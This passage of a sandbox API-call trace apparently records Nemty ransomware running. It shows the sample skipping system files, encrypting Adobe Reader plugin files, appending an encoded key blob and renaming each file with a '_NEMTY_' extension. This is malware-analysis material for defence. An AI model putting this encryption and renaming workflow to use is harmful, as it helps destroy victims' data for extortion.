returned -1 [0192.392] lstrcmpiW (lpString1="Flash.SLV", lpString2="appdata") returned 1 [0192.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.392] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.SLV", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0192.392] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.SLV", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.SLV", lpUsedDefaultChar=0x0) returned 9 [0192.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.392] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.SLV", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0192.392] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.SLV", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.SLV", lpUsedDefaultChar=0x0) returned 9 [0192.392] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.392] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.392] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.SLV", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0192.392] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.SLV", cchWideChar=9, lpMultiByteStr=0x653e5a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.SLV", lpUsedDefaultChar=0x0) returned 9 [0192.392] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.392] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.SLV", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0192.392] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.SLV", cchWideChar=9, lpMultiByteStr=0x653e5d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.SLV", lpUsedDefaultChar=0x0) returned 9 [0192.392] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340240 [0192.392] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0192.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63402f8 [0192.393] Sleep (dwMilliseconds=0x5) [0192.408] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x2654c3f0, dwHighDateTime=0x1d561e8)) [0192.408] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x2654c3f0, dwHighDateTime=0x1d561e8)) [0192.408] GetLastError () returned 0xb7 [0192.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.408] GetLastError () returned 0xb7 [0192.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.408] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0192.408] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0192.409] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0192.409] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0192.409] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e29c | out: pszString="DHdpGYVqdDdJ+RwgaHuSbp6BygbrIu03pjLxU9kAFYpXeaE8Dx51iX73BxwbQMLR\r\nuZboOdf3/Zz3/a84USYYSjg2uTqXe+21tnEIXb5BOMT6ollhgJKg/hRqZxpTf21V\r\ngU8bTwpvDl2kZjCv5fKcamPA2vVgQun9eQGDVm6PkZJIEXRodsVScFfcqlJGMi/m\r\nFO7MIjmWqPx4Hj3PfJhBxjIEj2NZVxOM8CewrGDTHavh8IZXuuPvNxOx4ObzUYBw\r\ng+VtDzWUE+He3WMWJRSD4VrxsNmvjcmWQpJ6sfOn6Al7uLJxAn+HWhxx845Y2ISz\r\nKE+Ys6CVqS60U9uli9gU1g==\r\n", pcchString=0x653e29c) returned 1 [0192.409] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0192.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.409] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0192.409] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0192.409] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0192.409] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\Flash.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_slv\\flash.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0192.410] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0192.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0192.410] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.410] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0192.412] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.412] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0192.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0192.412] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0192.412] WriteFile (in: hFile=0x2f0, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0192.412] CloseHandle (hObject=0x2f0) returned 1 [0192.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0192.412] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.412] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0192.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0192.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0192.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.413] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\Flash.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_slv\\flash.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\Flash.SLV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_slv\\flash.slv._nemty_kgobjgd_")) returned 1 [0192.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0192.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0192.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0192.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402f8 | out: hHeap=0x4f90000) returned 1 [0192.414] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="MCIMPP.SLV", cAlternateFileName="")) returned 1 [0192.414] lstrcmpiW (lpString1="MCIMPP.SLV", lpString2=".") returned 1 [0192.414] lstrcmpiW (lpString1="MCIMPP.SLV", lpString2="..") returned 1 [0192.414] lstrcmpiW (lpString1="MCIMPP.SLV", lpString2="...") returned 1 [0192.414] lstrcmpiW (lpString1="MCIMPP.SLV", lpString2="windows") returned -1 [0192.414] lstrcmpiW (lpString1="MCIMPP.SLV", lpString2="$RECYCLE.BIN") returned 1 [0192.414] lstrcmpiW (lpString1="MCIMPP.SLV", lpString2="rsa") returned -1 [0192.414] lstrcmpiW (lpString1="MCIMPP.SLV", lpString2="NTDETECT.COM") returned -1 [0192.414] lstrcmpiW (lpString1="MCIMPP.SLV", lpString2="ntldr") returned -1 [0192.414] lstrcmpiW (lpString1="MCIMPP.SLV", lpString2="MSDOS.SYS") returned -1 [0192.414] lstrcmpiW (lpString1="MCIMPP.SLV", lpString2="IO.SYS") returned 1 [0192.414] lstrcmpiW (lpString1="MCIMPP.SLV", lpString2="boot.ini") returned 1 [0192.414] lstrcmpiW (lpString1="MCIMPP.SLV", lpString2="boot.ini") returned 1 [0192.414] lstrcmpiW (lpString1="MCIMPP.SLV", lpString2="AUTOEXEC.BAT") returned 1 [0192.414] lstrcmpiW (lpString1="MCIMPP.SLV", lpString2="ntuser.dat") returned -1 [0192.414] lstrcmpiW (lpString1="MCIMPP.SLV", lpString2="desktop.ini") returned 1 [0192.414] lstrcmpiW (lpString1="MCIMPP.SLV", lpString2="CONFIG.SYS") returned 1 [0192.414] lstrcmpiW (lpString1="MCIMPP.SLV", lpString2="RECYCLER") returned -1 [0192.414] lstrcmpiW (lpString1="MCIMPP.SLV", lpString2="BOOTSECT.BAK") returned 1 [0192.414] lstrcmpiW (lpString1="MCIMPP.SLV", lpString2="bootmgr") returned 1 [0192.414] lstrcmpiW (lpString1="MCIMPP.SLV", lpString2="programdata") returned -1 [0192.414] lstrcmpiW (lpString1="MCIMPP.SLV", lpString2="appdata") returned 1 [0192.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.SLV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0192.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.SLV", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.SLV", lpUsedDefaultChar=0x0) returned 10 [0192.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.SLV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0192.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.SLV", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.SLV", lpUsedDefaultChar=0x0) returned 10 [0192.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.SLV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0192.415] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.SLV", cchWideChar=10, lpMultiByteStr=0x653e5a0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.SLV", lpUsedDefaultChar=0x0) returned 10 [0192.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.415] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.SLV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0192.415] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.SLV", cchWideChar=10, lpMultiByteStr=0x653e5d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.SLV", lpUsedDefaultChar=0x0) returned 10 [0192.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63402f8 [0192.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0192.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0192.415] Sleep (dwMilliseconds=0x5) [0192.424] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x26572550, dwHighDateTime=0x1d561e8)) [0192.424] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x26572550, dwHighDateTime=0x1d561e8)) [0192.424] GetLastError () returned 0x0 [0192.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.424] GetLastError () returned 0x0 [0192.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.424] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0192.424] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0192.424] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0192.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0192.424] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e29c | out: pszString="OKs9zeVwzsPaRP5qrKZmF6W3Zx0ReTLkzo24chXeF53+vH8qoKtChMRLpJQJid3X\r\nNg+ZGu95f2szWpZJ5/yJ0npdh5+Z+35hnN/CY8kU3FjsrvNBnfuBSwN8MIGSV5V3\r\ny5qUJJn3WmLCCaBAllF9ceAzW0NIGfbHcXuYwh7BoomJfK8Cjid+z9BNq67a0acN\r\nI3B2oIU2eFUOdnmL7yOg6XBMFaICcdEPAVXwEzwhZ8z7eP9ayb2NUHf+iffaiG5l\r\n+g518C8KgT+U6fYOPPzrtnYNnBlll5E7v3nttsZUHd2LJC3NHZvbitgk0jIVQb7F\r\n/CbdBdjMXhJkDHAUZfK2tw==\r\n", pcchString=0x653e29c) returned 1 [0192.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0192.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0192.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0192.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0192.425] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\MCIMPP.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_slv\\mcimpp.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0192.425] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=8192) returned 1 [0192.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2000) returned 0x6352c48 [0192.425] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.425] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x2000, lpOverlapped=0x0) returned 1 [0192.427] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.427] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x2000, lpOverlapped=0x0) returned 1 [0192.427] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0192.427] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2000 [0192.427] WriteFile (in: hFile=0x2f0, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0192.428] CloseHandle (hObject=0x2f0) returned 1 [0192.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0192.428] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.428] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.428] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0192.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0192.428] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0192.428] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.428] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\MCIMPP.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_slv\\mcimpp.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\MCIMPP.SLV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_slv\\mcimpp.slv._nemty_kgobjgd_")) returned 1 [0192.429] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0192.429] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0192.429] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0192.429] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.429] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.429] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.429] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.429] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0192.429] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="QuickTime.SLV", cAlternateFileName="QUICKT~1.SLV")) returned 1 [0192.429] lstrcmpiW (lpString1="QuickTime.SLV", lpString2=".") returned 1 [0192.429] lstrcmpiW (lpString1="QuickTime.SLV", lpString2="..") returned 1 [0192.429] lstrcmpiW (lpString1="QuickTime.SLV", lpString2="...") returned 1 [0192.429] lstrcmpiW (lpString1="QuickTime.SLV", lpString2="windows") returned -1 [0192.429] lstrcmpiW 